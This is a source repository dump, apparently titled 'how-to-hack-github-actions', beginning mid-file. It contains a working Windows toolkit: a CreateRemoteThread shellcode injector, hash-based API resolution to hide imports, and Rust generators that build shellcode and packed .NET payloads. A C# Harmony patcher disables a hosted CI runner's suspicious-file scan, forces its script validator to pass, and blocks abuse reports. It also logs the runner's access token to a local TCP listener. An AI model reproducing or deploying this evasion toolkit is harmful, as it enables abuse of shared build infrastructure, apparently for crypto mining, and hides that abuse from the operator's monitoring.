it is really unnecessary 83 | //ZeroMemory(&processEntry, sizeof(processEntry)); 84 | processEntry.dwSize = sizeof(processEntry); 85 | 86 | processId = 0; 87 | while (Process32NextW(hSnapshotOwned.raw(), &processEntry)) { 88 | //TODO: better way to cmp memory 89 | if (!lstrcmpW(processEntry.szExeFile, processName)) { 90 | processId = processEntry.th32ProcessID; 91 | break; 92 | } 93 | } 94 | 95 | if (processId == 0) { 96 | return InjectionResult::ProcessNotFound; 97 | } 98 | } 99 | 100 | //drop hSnapshotOwned 101 | 102 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); 103 | if (!hProcess) { 104 | return InjectionResult::OpenProcessFailed; 105 | } 106 | 107 | Handle hProcessOwned = Handle(hProcess); 108 | 109 | LPVOID address = VirtualAllocEx(hProcessOwned.raw(), nullptr, sizeof(shellcode), 110 | MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 111 | if (!address) { 112 | return InjectionResult::VirtualAllocExFailed; 113 | } 114 | 115 | ProcessMemory memoryOwned = ProcessMemory(hProcessOwned.raw(), address); 116 | if (!memoryOwned.write(shellcode)) { 117 | return InjectionResult::WriteProcessMemoryFailed; 118 | } 119 | 120 | HANDLE hThread = CreateRemoteThread(hProcessOwned.raw(), nullptr, 0, 121 | (LPTHREAD_START_ROUTINE) memoryOwned.raw(), nullptr, 0, nullptr); 122 | if (!hThread) { 123 | return InjectionResult::CreateRemoteThreadFailed; 124 | } 125 | 126 | Handle hThreadOwned = Handle(hThread); 127 | if (WaitForSingleObject(hThreadOwned.raw(), INFINITE) == WAIT_FAILED) { 128 | return InjectionResult::WaitForSingleObjectFailed; 129 | } 130 | 131 | DWORD exitCode; 132 | if (GetExitCodeThread(hThreadOwned.raw(), &exitCode) && exitCode == EXIT_SUCCESS) { 133 | return InjectionResult::Success; 134 | } else { 135 | return InjectionResult::GetExitCodeThreadFailed; 136 | } 137 | } 138 | -------------------------------------------------------------------------------- /projects/cpp/obfuscation/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | load_subdirectories() 2 | -------------------------------------------------------------------------------- /projects/cpp/obfuscation/dump-exports/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project(dump-exports LANGUAGES CXX) 2 | 3 | add_executable(${PROJECT_NAME} src/main.cpp) 4 | set_embedded_options(${PROJECT_NAME}) 5 | 6 | install(TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_BINARY_DIR}/bin/cpp/obfuscation) 7 | -------------------------------------------------------------------------------- /projects/cpp/obfuscation/dump-exports/src/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | __forceinline void WriteUnchecked(HANDLE hStdout, const char *buffer) { 4 | WriteFile(hStdout, buffer, lstrlenA(buffer), nullptr, nullptr); 5 | } 6 | 7 | extern "C" DWORD mainCRTStartup() { 8 | auto hStdout = GetStdHandle(STD_OUTPUT_HANDLE); 9 | 10 | WriteUnchecked( 11 | hStdout, 12 | "#ifndef FAKE_KERNEL32_H\n" 13 | "#define FAKE_KERNEL32_H\n" 14 | "\n" 15 | 16 | "#include \n" 17 | "\n" 18 | 19 | "#define RESOLVE_FN(function) \\\n" 20 | //"reinterpret_cast(GetProcAddress(GetModuleHandleW(L\"KERNEL32.DLL\"), #function))\n" 21 | //"loader::GetExportByHash(loader::GetKernel32Base(), adler32::hash_fn_compile_time(#function))\n" 22 | "loader::GetExportByHash(loader::GetModuleBaseByHash(adler32::hash_fn_compile_time(L\"KERNEL32.DLL\")), adler32::hash_fn_compile_time(#function))\n" 23 | "\n" 24 | ); 25 | 26 | auto base = reinterpret_cast(GetModuleHandleW(L"KERNEL32.DLL")); 27 | 28 | auto dosHeader = reinterpret_cast(base); 29 | auto ntHeaders = reinterpret_cast(base + dosHeader->e_lfanew); 30 | 31 | auto exportDataDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 32 | auto exportDirectory = reinterpret_cast(base + exportDataDirectory->VirtualAddress); 33 | 34 | auto names = reinterpret_cast(base + exportDirectory->AddressOfNames); 35 | 36 | for (SIZE_T i = 0; i < exportDirectory->NumberOfNames; ++i) { 37 | auto name = reinterpret_cast(base + names[i]); 38 | WriteUnchecked(hStdout, "#ifndef "); 39 | WriteUnchecked(hStdout, name); 40 | WriteUnchecked(hStdout, "\n"); 41 | 42 | WriteUnchecked(hStdout, "#define "); 43 | WriteUnchecked(hStdout, name); 44 | 45 | WriteUnchecked(hStdout, " RESOLVE_FN("); 46 | WriteUnchecked(hStdout, name); 47 | WriteUnchecked(hStdout, ")\n"); 48 | 49 | WriteUnchecked(hStdout, "#endif\n"); 50 | } 51 | 52 | WriteUnchecked(hStdout, "\n"); 53 | WriteUnchecked(hStdout, "#endif //FAKE_KERNEL32_H\n"); 54 | 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /projects/cpp/obfuscation/fakekernel32/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project(fakekernel32 LANGUAGES CXX) 2 | 3 | add_custom_target( 4 | ${PROJECT_NAME}_codegen 5 | COMMAND dump-exports > ${CMAKE_CURRENT_SOURCE_DIR}/include/fakekernel32.h 6 | WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} 7 | DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/include/fakekernel32.h 8 | ) 9 | 10 | add_library(${PROJECT_NAME} INTERFACE) 11 | add_dependencies(${PROJECT_NAME} dump-exports ${PROJECT_NAME}_codegen) 12 | target_link_libraries(${PROJECT_NAME} INTERFACE loader) 13 | target_include_directories(${PROJECT_NAME} INTERFACE include) 14 | -------------------------------------------------------------------------------- /projects/cpp/obfuscation/fakekernel32/include/README.md: -------------------------------------------------------------------------------- 1 | It should contain `fakekernel32.h` (see dump-exports for codegen details) 2 | -------------------------------------------------------------------------------- /projects/cpp/obfuscation/hash/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project(hash LANGUAGES CXX) 2 | 3 | add_library(${PROJECT_NAME} INTERFACE) 4 | target_include_directories(${PROJECT_NAME} INTERFACE include) 5 | -------------------------------------------------------------------------------- /projects/cpp/obfuscation/hash/include/adler32.h: -------------------------------------------------------------------------------- 1 | #ifndef ADLER32_H 2 | #define ADLER32_H 3 | 4 | #include 5 | #include 6 | 7 | namespace adler32::detail { 8 | __forceinline int lstrlenA_impl(LPCSTR buf) { 9 | int count = 0; 10 | 11 | while (*buf++) { 12 | count++; 13 | } 14 | 15 | return count; 16 | } 17 | 18 | __forceinline int lstrlenW_impl(LPCWSTR buf) { 19 | int count = 0; 20 | 21 | while (*buf++) { 22 | count++; 23 | } 24 | 25 | return count; 26 | } 27 | 28 | __forceinline constexpr void hash_begin(uint32_t *s1, uint32_t *s2) { 29 | *s1 = 1; 30 | *s2 = 0; 31 | } 32 | 33 | __forceinline constexpr void hash_impl(uint8_t byte, uint32_t &s1, uint32_t &s2) { 34 | constexpr uint32_t MOD_ADLER = 65521; 35 | 36 | s1 = (s1 + byte) % MOD_ADLER; 37 | s2 = (s2 + s1) % MOD_ADLER; 38 | } 39 | 40 | __forceinline constexpr uint32_t hash_finish(uint32_t s1, uint32_t s2) { 41 | return (s2 << 16) + s1; 42 | } 43 | 44 | template 45 | __forceinline constexpr uint32_t adler32_compile_time(const T *buf, size_t buf_len) { 46 | uint32_t s1, s2; 47 | hash_begin(&s1, &s2); 48 | 49 | while (buf_len--) { 50 | auto bytes = std::bit_cast>(*(buf++)); 51 | for (const uint8_t byte: bytes) { 52 | hash_impl(byte, s1, s2); 53 | } 54 | } 55 | 56 | return hash_finish(s1, s2); 57 | } 58 | 59 | __forceinline uint32_t adler32_runtime(const uint8_t *buf, size_t buf_len) { 60 | uint32_t s1, s2; 61 | hash_begin(&s1, &s2); 62 | 63 | while (buf_len--) { 64 | hash_impl(*(buf++), s1, s2); 65 | } 66 | 67 | return hash_finish(s1, s2); 68 | } 69 | } 70 | 71 | namespace adler32 { 72 | template 73 | __forceinline consteval uint32_t hash_fn_compile_time(const T(&buf)[N]) { 74 | return detail::adler32_compile_time(std::to_array(buf).data(), N - 1); 75 | } 76 | 77 | __forceinline uint32_t hash_fn(const char *buf) { 78 | return detail::adler32_runtime( 79 | reinterpret_cast(buf), 80 | detail::lstrlenA_impl(buf) 81 | ); 82 | } 83 | 84 | __forceinline uint32_t hash_fn(const wchar_t *buf) { 85 | return detail::adler32_runtime( 86 | reinterpret_cast(buf), 87 | detail::lstrlenW_impl(buf) * sizeof(wchar_t) 88 | ); 89 | } 90 | } 91 | 92 | #endif //ADLER32_H 93 | -------------------------------------------------------------------------------- /projects/cpp/obfuscation/loader/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project(loader LANGUAGES CXX) 2 | 3 | add_library(${PROJECT_NAME} INTERFACE) 4 | target_link_libraries(${PROJECT_NAME} INTERFACE hash) 5 | target_include_directories(${PROJECT_NAME} INTERFACE include) 6 | -------------------------------------------------------------------------------- /projects/cpp/obfuscation/loader/include/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include 5 | #include 6 | 7 | namespace loader { 8 | __forceinline PVOID GetModuleBaseByHash(uint32_t hash) { 9 | auto peb = NtCurrentTeb()->ProcessEnvironmentBlock; 10 | auto ldr = peb->Ldr; 11 | 12 | auto head = &ldr->InMemoryOrderModuleList; 13 | auto current = head->Flink; 14 | 15 | do { 16 | auto entry = CONTAINING_RECORD(current, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); 17 | auto dllName = (&entry->FullDllName) + 1; 18 | 19 | if (adler32::hash_fn(dllName->Buffer) == hash) { 20 | return entry->DllBase; 21 | } 22 | 23 | current = current->Flink; 24 | } while (current != head); 25 | 26 | return nullptr; 27 | } 28 | 29 | __forceinline PVOID GetKernel32Base() { 30 | auto peb = NtCurrentTeb()->ProcessEnvironmentBlock; 31 | auto ldr = peb->Ldr; 32 | 33 | auto head = &ldr->InMemoryOrderModuleList; 34 | auto current = head->Flink; 35 | 36 | //current -> ntdll -> kernel32 37 | return CONTAINING_RECORD(current->Flink->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)->DllBase; 38 | } 39 | 40 | template 41 | __forceinline functionPtrType GetExportByHash(PVOID moduleBase, uint32_t hash) { 42 | auto base = reinterpret_cast(moduleBase); 43 | 44 | auto dosHeader = reinterpret_cast(base); 45 | auto ntHeaders = reinterpret_cast(base + dosHeader->e_lfanew); 46 | 47 | auto exportDataDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 48 | auto exportDirectory = reinterpret_cast(base + exportDataDirectory->VirtualAddress); 49 | 50 | auto functions = reinterpret_cast(base + exportDirectory->AddressOfFunctions); 51 | auto names = reinterpret_cast(base + exportDirectory->AddressOfNames); 52 | auto nameOrdinals = reinterpret_cast(base + exportDirectory->AddressOfNameOrdinals); 53 | 54 | for (SIZE_T i = 0; i < exportDirectory->NumberOfNames; ++i) { 55 | auto name = reinterpret_cast(base + names[i]); 56 | auto function = functions[nameOrdinals[i]]; 57 | 58 | if (adler32::hash_fn(name) == hash) { 59 | return reinterpret_cast(reinterpret_cast(base) + function); 60 | } 61 | } 62 | 63 | return nullptr; 64 | } 65 | } 66 | 67 | #endif //LOADER_H 68 | -------------------------------------------------------------------------------- /projects/csharp/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | load_subdirectories() 2 | -------------------------------------------------------------------------------- /projects/csharp/patcher/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project(patcher) 2 | 3 | add_custom_target( 4 | ${PROJECT_NAME} 5 | ALL 6 | COMMAND dotnet publish -c Release -o "${CMAKE_CURRENT_BINARY_DIR}/${PROJECT_NAME}" 7 | WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} 8 | ) 9 | 10 | install(DIRECTORY "${CMAKE_CURRENT_BINARY_DIR}/${PROJECT_NAME}" DESTINATION ${CMAKE_BINARY_DIR}/bin PATTERN "*.pdb" EXCLUDE) 11 | -------------------------------------------------------------------------------- /projects/csharp/patcher/build.bat: -------------------------------------------------------------------------------- 1 | dotnet publish -c Release -o dist 2 | -------------------------------------------------------------------------------- /projects/csharp/patcher/clean.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | set PROJECT_NAME=patcher 4 | set DIRECTORIES=dist .vs .idea %PROJECT_NAME%\bin %PROJECT_NAME%\obj 5 | 6 | for %%d in (%DIRECTORIES%) do ( 7 | if exist %%d ( 8 | del /s /f /q %%d\*.* 9 | for /f %%f in ('dir /ad /b %%d\') do rd /s /q %%d\%%f 10 | rd %%d 11 | ) 12 | ) 13 | -------------------------------------------------------------------------------- /projects/csharp/patcher/deps/Newtonsoft.Json.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/projects/csharp/patcher/deps/Newtonsoft.Json.dll -------------------------------------------------------------------------------- /projects/csharp/patcher/deps/mms.client.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/projects/csharp/patcher/deps/mms.client.dll -------------------------------------------------------------------------------- /projects/csharp/patcher/deps/provisioner.framework.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StackOverflowExcept1on/how-to-hack-github-actions/460619689d0096886e9933eec6fc85c65885373d/projects/csharp/patcher/deps/provisioner.framework.dll -------------------------------------------------------------------------------- /projects/csharp/patcher/patcher.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "patcher", "patcher\patcher.csproj", "{4EA90DE3-69F0-4B96-A33E-F0876D77D131}" 4 | EndProject 5 | Global 6 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 7 | Debug|Any CPU = Debug|Any CPU 8 | Release|Any CPU = Release|Any CPU 9 | EndGlobalSection 10 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 11 | {4EA90DE3-69F0-4B96-A33E-F0876D77D131}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 12 | {4EA90DE3-69F0-4B96-A33E-F0876D77D131}.Debug|Any CPU.Build.0 = Debug|Any CPU 13 | {4EA90DE3-69F0-4B96-A33E-F0876D77D131}.Release|Any CPU.ActiveCfg = Release|Any CPU 14 | {4EA90DE3-69F0-4B96-A33E-F0876D77D131}.Release|Any CPU.Build.0 = Release|Any CPU 15 | EndGlobalSection 16 | EndGlobal 17 | -------------------------------------------------------------------------------- /projects/csharp/patcher/patcher/Main.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net.Sockets; 3 | using System.Runtime.InteropServices; 4 | using System.Threading; 5 | using System.Threading.Tasks; 6 | using HarmonyLib; 7 | 8 | namespace patcher 9 | { 10 | public class NetworkLogger 11 | { 12 | private static NetworkLogger instance; 13 | 14 | private static TcpClient client; 15 | private static NetworkStream stream; 16 | 17 | private NetworkLogger() 18 | { 19 | client = new TcpClient("localhost", 1337); 20 | stream = client.GetStream(); 21 | } 22 | 23 | public void Write(string message) 24 | { 25 | try 26 | { 27 | var data = System.Text.Encoding.UTF8.GetBytes(message); 28 | stream.Write(BitConverter.GetBytes(data.Length), 0, 4); 29 | stream.Write(data, 0, data.Length); 30 | } catch (Exception) 31 | { 32 | //NOP 33 | } 34 | } 35 | 36 | ~NetworkLogger() 37 | { 38 | client.Close(); 39 | stream.Close(); 40 | } 41 | 42 | public static NetworkLogger GetInstance() 43 | { 44 | if (instance == null) 45 | { 46 | instance = new NetworkLogger(); 47 | } 48 | return instance; 49 | } 50 | } 51 | 52 | public class Main 53 | { 54 | private static Harmony harmony; 55 | 56 | [UnmanagedCallersOnly] 57 | public static void EntryPoint() 58 | { 59 | NetworkLogger.GetInstance().Write("Injected!"); 60 | 61 | new Thread(() => { 62 | Thread.Sleep(15 * 60 * 1000); 63 | NetworkLogger.GetInstance().Write("q"); 64 | }).Start(); 65 | 66 | harmony = new Harmony("patcher"); 67 | harmony.PatchAll(); 68 | } 69 | } 70 | 71 | [HarmonyPatch(typeof(Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob))] 72 | public class SuspiciousFilesMonitorJobPatches 73 | { 74 | [HarmonyPrefix] 75 | [HarmonyPatch("SuspiciousSignatureExists")] 76 | static bool SuspiciousSignatureExists( 77 | Microsoft.AzureDevOps.Provisioner.Framework.Monitoring.SuspiciousFilesMonitorJob __instance, 78 | string directory, 79 | int currDepth, 80 | ref bool __result 81 | ) 82 | { 83 | NetworkLogger.GetInstance().Write($"{__instance.Name} // SuspiciousSignatureExists({directory}, {currDepth})"); 84 | __result = false; //no suspicious files 85 | 86 | //don't call SuspiciousFilesMonitorJob.SuspiciousSignatureExists(...) 87 | //now provisioner will not scan subfolders at all 88 | return false; 89 | } 90 | } 91 | 92 | [HarmonyPatch(typeof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator))] 93 | public class ScriptTaskValidatorPatches 94 | { 95 | [HarmonyPrefix] 96 | [HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))] 97 | static void HasBadParamOrArgument_Prefix(ref string exeAndArgs) 98 | { 99 | //trigger provisioner by appending XMR address to exeAndArgs 100 | exeAndArgs += " 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD"; 101 | } 102 | 103 | [HarmonyPostfix] 104 | [HarmonyPatch(nameof(GitHub.DistributedTask.Pipelines.Validation.ScriptTaskValidator.HasBadParamOrArgument))] 105 | static void HasBadParamOrArgument_Postfix(string exeAndArgs, ref bool __result) 106 | { 107 | //checking result from original function HasBadParamOrArgument(...), it would be True for all processes 108 | NetworkLogger.GetInstance().Write($"ScriptTaskValidator // HasBadParamOrArgument({exeAndArgs}, ..., ...) = {__result}"); 109 | __result = false; //set result to false to bypass provisioner check ;D 110 | } 111 | } 112 | 113 | [HarmonyPatch(typeof(MachineManagement.Provisioning.MachineManagementClient))] 114 | public class MachineManagementClientPatches 115 | { 116 | [HarmonyPrefix] 117 | [HarmonyPatch(nameof(MachineManagement.Provisioning.MachineManagementClient.ReportSuspiciousActivityAsync))] 118 | static bool ReportSuspiciousActivityAsync( 119 | long requestId, 120 | byte[] postRegistrationAccessToken, 121 | string suspiciousActivity, 122 | string poolName, 123 | string instanceName, 124 | ref Task __result 125 | ) 126 | { 127 | var token = Convert.ToHexString(postRegistrationAccessToken); 128 | NetworkLogger.GetInstance().Write($"MachineManagementClient // ReportSuspiciousActivityAsync({requestId}, {token}, {suspiciousActivity}, {poolName}, {instanceName})"); 129 | __result = new Task(() => { 130 | //replace task with nothing 131 | }); 132 | return false; //don't call MachineManagementClient.ReportSuspiciousActivityAsync(...) 133 | } 134 | } 135 | } -------------------------------------------------------------------------------- /projects/csharp/patcher/patcher/patcher.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | net5.0 5 | true 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | ..\deps\mms.client.dll 15 | false 16 | 17 | 18 | ..\deps\Newtonsoft.Json.dll 19 | false 20 | 21 | 22 | ..\deps\provisioner.framework.dll 23 | false 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /projects/rust/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | load_subdirectories() 2 | -------------------------------------------------------------------------------- /projects/rust/dump-assembly/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project(dump-assembly) 2 | 3 | add_custom_target( 4 | ${PROJECT_NAME} 5 | ALL 6 | COMMAND cargo build --release --target-dir="${CMAKE_CURRENT_BINARY_DIR}/target" 7 | WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} 8 | ) 9 | 10 | install(PROGRAMS ${CMAKE_CURRENT_BINARY_DIR}/target/release/${PROJECT_NAME}.exe DESTINATION ${CMAKE_BINARY_DIR}/bin/rust) 11 | -------------------------------------------------------------------------------- /projects/rust/dump-assembly/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "dump-assembly" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | argh = "0.1.7" 8 | 9 | [profile.dev] 10 | panic = "abort" 11 | 12 | [profile.release] 13 | lto = true 14 | strip = "symbols" 15 | debug = false 16 | panic = "abort" 17 | opt-level = "z" 18 | codegen-units = 1 19 | -------------------------------------------------------------------------------- /projects/rust/dump-assembly/src/assembly_header.txt: -------------------------------------------------------------------------------- 1 | #ifndef PACKED_ASSEMBLY_H 2 | #define PACKED_ASSEMBLY_H 3 | 4 | #include 5 | 6 | __declspec(align(1), allocate(".text")) const char_t assemblyFileName[] = L"patcher.dll"; 7 | __declspec(align(1), allocate(".text")) const char_t typeName[] = L"patcher.Main, patcher"; 8 | __declspec(align(1), allocate(".text")) const char_t methodName[] = L"EntryPoint"; 9 | 10 | __declspec(align(1), allocate(".text")) const uint8_t packedAssembly[] = {{ 11 | {} 12 | }}; 13 | 14 | #endif //PACKED_ASSEMBLY_H 15 | -------------------------------------------------------------------------------- /projects/rust/dump-assembly/src/main.rs: -------------------------------------------------------------------------------- 1 | use argh::FromArgs; 2 | 3 | use std::ffi::OsStr; 4 | use std::fs::{self, File}; 5 | use std::io::{self, Write}; 6 | use std::iter::once; 7 | use std::os::windows::ffi::OsStrExt; 8 | use std::path::PathBuf; 9 | 10 | #[derive(FromArgs, Debug)] 11 | /// Generates header file with packed csharp assembly 12 | struct Args { 13 | /// path to target directory 14 | #[argh(positional)] 15 | target_directory: PathBuf, 16 | 17 | /// path to output packed csharp assembly as header file 18 | #[argh(option)] 19 | header: Option, 20 | 21 | /// path to output packed csharp assembly as binary file 22 | #[argh(option)] 23 | output: Option, 24 | } 25 | 26 | fn main() -> io::Result<()> { 27 | let args: Args = argh::from_env(); 28 | 29 | let mut count: usize = 0; 30 | let mut stream = Vec::new(); 31 | 32 | for entry in fs::read_dir(args.target_directory)? { 33 | let entry = entry?; 34 | let path = entry.path(); 35 | 36 | if path.extension() == Some(OsStr::new("pdb")) { 37 | continue; 38 | } 39 | 40 | let filename = entry.file_name(); 41 | let content = fs::read(path)?; 42 | 43 | let chunk = filename 44 | .as_os_str() 45 | .encode_wide() 46 | .chain(once(0)) 47 | .flat_map(|c| c.to_ne_bytes()) 48 | .collect::>(); 49 | 50 | stream.write_all(&chunk.len().to_le_bytes())?; 51 | stream.write_all(&chunk)?; 52 | 53 | stream.write_all(&content.len().to_le_bytes())?; 54 | stream.write_all(&content)?; 55 | 56 | count += 1; 57 | } 58 | 59 | let mut payload = Vec::new(); 60 | payload.write_all(&count.to_le_bytes())?; 61 | payload.write_all(&stream)?; 62 | 63 | if let Some(header_path) = args.header { 64 | let output = payload 65 | .iter() 66 | .map(|byte| format!("0x{:02X}", byte)) 67 | .collect::>() 68 | .join(", "); 69 | 70 | let mut header = File::create(header_path)?; 71 | write!(header, include_str!("assembly_header.txt"), output)?; 72 | } 73 | 74 | if let Some(path) = args.output { 75 | File::create(path)?.write_all(&payload)?; 76 | } 77 | 78 | Ok(()) 79 | } 80 | -------------------------------------------------------------------------------- /projects/rust/shellgen/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | project(shellgen) 2 | 3 | add_custom_target( 4 | ${PROJECT_NAME} 5 | ALL 6 | COMMAND cargo build --release --target-dir="${CMAKE_CURRENT_BINARY_DIR}/target" 7 | WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} 8 | ) 9 | 10 | install(PROGRAMS ${CMAKE_CURRENT_BINARY_DIR}/target/release/${PROJECT_NAME}.exe DESTINATION ${CMAKE_BINARY_DIR}/bin/rust) 11 | -------------------------------------------------------------------------------- /projects/rust/shellgen/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "shellgen" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | argh = "0.1.7" 8 | pretty-hex = "0.2.1" 9 | pelite = "0.9.0" 10 | iced-x86 = { version = "1.15.0", features = ["code_asm"] } 11 | 12 | [profile.dev] 13 | panic = "abort" 14 | 15 | [profile.release] 16 | lto = true 17 | strip = "symbols" 18 | debug = false 19 | panic = "abort" 20 | opt-level = "z" 21 | codegen-units = 1 22 | -------------------------------------------------------------------------------- /projects/rust/shellgen/src/exception_directory.rs: -------------------------------------------------------------------------------- 1 | use pelite::pe64::{exception::Function, Pe, PeFile}; 2 | 3 | pub fn find_entrypoint(file: PeFile) -> pelite::Result> { 4 | let entrypoint = file.optional_header().AddressOfEntryPoint; 5 | let exception = file.exception()?; 6 | 7 | exception 8 | .functions() 9 | .find(|function| function.image().BeginAddress == entrypoint) 10 | .ok_or(pelite::Error::Invalid) 11 | } 12 | 13 | pub fn get_entrypoint_bytes(file: PeFile) -> pelite::Result<&[u8]> { 14 | find_entrypoint(file)?.bytes() 15 | } 16 | -------------------------------------------------------------------------------- /projects/rust/shellgen/src/main.rs: -------------------------------------------------------------------------------- 1 | use argh::FromArgs; 2 | use iced_x86::code_asm::CodeAssembler; 3 | use pelite::pe64::{Pe, PeFile}; 4 | use pretty_hex::{HexConfig, PrettyHex}; 5 | 6 | use std::error::Error; 7 | use std::fs::{self, File}; 8 | use std::io::Write; 9 | use std::path::PathBuf; 10 | 11 | mod exception_directory; 12 | 13 | #[derive(FromArgs, Debug)] 14 | /// Generates shellcode 15 | struct Args { 16 | /// path to target binary file 17 | #[argh(positional)] 18 | filename: PathBuf, 19 | 20 | /// path to output shellcode as header file 21 | #[argh(option)] 22 | header: Option, 23 | 24 | /// path to output shellcode as binary file 25 | #[argh(option)] 26 | output: Option, 27 | } 28 | 29 | fn main() -> Result<(), Box> { 30 | let args: Args = argh::from_env(); 31 | 32 | let content = fs::read(&args.filename)?; 33 | let pe_file = PeFile::from_bytes(&content)?; 34 | 35 | let entrypoint = pe_file.optional_header().AddressOfEntryPoint; 36 | 37 | let section = pe_file 38 | .section_headers() 39 | .by_name(".text") 40 | .expect("failed to find .text section"); 41 | 42 | let range = section.virtual_range(); 43 | 44 | println!("range: 0x{:016X} - 0x{:016X}", range.start, range.end); 45 | println!("start: 0x{:016X}", entrypoint); 46 | println!(); 47 | 48 | let cfg = HexConfig { 49 | group: 8, 50 | ..HexConfig::default() 51 | }; 52 | 53 | if range.start == entrypoint { 54 | todo!() 55 | } 56 | 57 | let data_len = entrypoint - range.start; 58 | 59 | let mut assembler = CodeAssembler::new(64)?; 60 | 61 | let data = pe_file.derva_slice::(range.start, data_len as usize)?; 62 | 63 | println!("data, {:?}", data.hex_conf(cfg)); 64 | println!(); 65 | 66 | let mut skip_data = assembler.create_label(); 67 | assembler.jmp(skip_data)?; 68 | 69 | assembler.db(data)?; 70 | assembler.set_label(&mut skip_data)?; 71 | 72 | let shellcode = exception_directory::get_entrypoint_bytes(pe_file)?; 73 | assembler.db(shellcode)?; 74 | 75 | println!("entrypoint code, {:?}", shellcode.hex_conf(cfg)); 76 | println!(); 77 | 78 | let payload = assembler.assemble(0)?; 79 | 80 | println!("payload, {:?}", payload.hex_conf(cfg)); 81 | println!(); 82 | 83 | if let Some(header_path) = args.header { 84 | let output = payload 85 | .iter() 86 | .map(|byte| format!("0x{:02X}", byte)) 87 | .collect::>() 88 | .join(", "); 89 | 90 | let mut header = File::create(header_path)?; 91 | write!(header, include_str!("shellcode_header.txt"), output)?; 92 | } 93 | 94 | if let Some(path) = args.output { 95 | File::create(path)?.write_all(&payload)?; 96 | } 97 | 98 | Ok(()) 99 | } 100 | -------------------------------------------------------------------------------- /projects/rust/shellgen/src/shellcode_header.txt: -------------------------------------------------------------------------------- 1 | #ifndef SHELLCODE_H 2 | #define SHELLCODE_H 3 | 4 | #include 5 | 6 | __declspec(align(1), allocate(".text")) const uint8_t shellcode[] = {{ 7 | {} 8 | }}; 9 | 10 | #endif //SHELLCODE_H 11 | -------------------------------------------------------------------------------- /scripts/server.py: -------------------------------------------------------------------------------- 1 | import socketserver 2 | import struct 3 | import os 4 | import sys 5 | 6 | class MyTCPHandler(socketserver.BaseRequestHandler): 7 | def handle(self): 8 | while True: 9 | len = struct.unpack("I", self.request.recv(4))[0] 10 | data = self.request.recv(len) 11 | 12 | if data == b"q": 13 | sys.exit() 14 | 15 | print(data.decode("utf8")) 16 | 17 | if __name__ == "__main__": 18 | HOST, PORT = "0.0.0.0", 1337 19 | 20 | os.startfile(r".\build\bin\cpp\app\codeinjector.exe") 21 | 22 | with socketserver.TCPServer((HOST, PORT), MyTCPHandler) as server: 23 | server.serve_forever() 24 | --------------------------------------------------------------------------------